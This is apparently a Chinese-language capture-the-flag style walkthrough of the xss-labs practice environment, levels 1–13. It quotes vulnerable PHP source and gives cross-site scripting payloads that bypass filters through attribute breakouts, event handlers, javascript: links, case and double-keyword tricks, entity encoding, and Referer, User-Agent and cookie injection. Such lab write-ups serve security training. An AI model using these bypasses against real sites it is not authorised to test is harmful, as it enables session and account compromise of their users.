自建环境_xss-labs
Level 1
函数源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
这一关没有什么过滤,它会将我们的name值在网页中输出,所以我们尝试注入:
<script>alert(1)</script>
Level 2

先构造一个测试payload:
'';!--"<XSS>=&{()}
ctrl+u查看源码:

发现标题双引号、尖括号、&符号被进行了转义
而下面的输入框却没有过滤
函数源代码
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
htmlspecialchars($str) 是 PHP 中用来将字符串中的特殊字符转换为 HTML 实体的函数。
&转换为&<转换为<>转换为>"转换为"'转换为'(这是在双引号内使用时)
所以我们可以尝试将输入框中的内容进行闭合
"><script>alert(111)</script>"<
Level 3(绕过htmlspecials()函数)

依旧用测试payload看一下
'';!--"<XSS>=&{()}

完啦,现在输入框中的内容也被进行了转义
源代码:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
由于htmlspecialchars默认配置是不过滤单引号的,于是想到构造单引号的payload。
'onmouseover='alert(1)
移动鼠标到输入框触发onmouseover事件,过关!
Level 4

先用测试代码看一下
'';!--"<XSS>=&{()}

发现下面输入框过滤了我们的尖括号<>
所以我们可以调整一下第三题的payload,并且闭合双引号
"onmouseover='alert(1)'
Level 5

测试payload看一下:
'';!--"<XSS>=&{()}

发现好像啥也没少
用之前的payload测试一下:
`"><script>alert("xss");</script>`

"onmouseover='alert(1)'

这一题可以用javascript伪协议来实现
payload:
"><a href="javascript:alert(`xss`);">xss</a>
Level 6

还是测试一下:
'';!--"<XSS>=&{()}

用上一关的payload试一下:
"><a href="javascript:alert(`xss`);">xss</a>

发现href关键词也被过滤了
用另一个试一下:
sd"></br><img src="javascript:alert('1');">

发现src关键词也被过滤了
这题可以用大小写绕过
"><a hRef="javascript:alert(`xss`);">xss</a>
Level 7

我们用上一关的payload试一下:
"><a hRef="javascript:alert(`xss`);">xss</a>

发现href和script关键词没有了
我们试一下双写可不可以绕过:
"><a hRehReff="javascrscriptipt:alert(`xss`);">xss</a>
成功

Level 8


发现这里有一个超链接,我们尝试用伪协议利用一下
javascript:alert(`xss`);

发现这里script关键词被屏蔽
这里可以使用ASCII进行绕过
" "
t t
: :
javascript:alert(`xss`);
成功
Level 9

尝试一下测试payload:
'';!--"<XSS>=&{()}

注意这种上面双引号是没有办法闭合的,所以不太可能可以绕过htmlspecials()
我们再测试几个输入,看看什么是合法的


好吧,要有关键词http://
我们修改一下上一关payload:
javascript:alert(`http://`);
成功
Level 10

利用测试payload试一下:

应该是对下一个双引号做了编码,且对尖括号做了转译,而&{()}被删除了,也就是不允许做实体编码了。
但是很奇怪的是,网页源码和之前的相比,多了下面这三行:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
有三个输入框?为什么type为hidden?hidden 的意思为定义隐藏的输入字段。尝试使用firebug将hidden全改成submit。出现一个按钮,点击发现URL变成
http://10.10.10.135/xss/level10.php?t_link=&t_history=&t_sort=
尝试构造xss语句:
http://10.10.10.135/xss/level10.php?t_link=1&t_history=2&t_sort=3
查看网页源代码:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="3" type="hidden">
发现只有t_sort参数才有返回数据。
?t_sort=3"onmouseover='alert(1)' type="text"
Level 11

用上一关的payload试一下:

发现t_sort中的值也被实体化了
但是这一题多了一个t_ref值
<input name="t_ref" value="" type="hidden">
这个将他改为submit后,会将当前的url值提交

所以我们可以尝试在这里进行XSS注入
浏览器对传入的信息进行了url编码,所以要直接在数据包中进行修改


也就是将http头中referer中的%22替换为双引号,%27替换为单引号
Level 12


这题看样子就是将我们的UA头进行了保存
所以说我们在UA头加入如下payload即可
"onmouseover='alert(1)' type="text"
Level 13


这里有一个t_cook,应该就是cookie
所以我们直接抓包在cookie中加入payload即可

"onmouseover='alert(1)' type="text"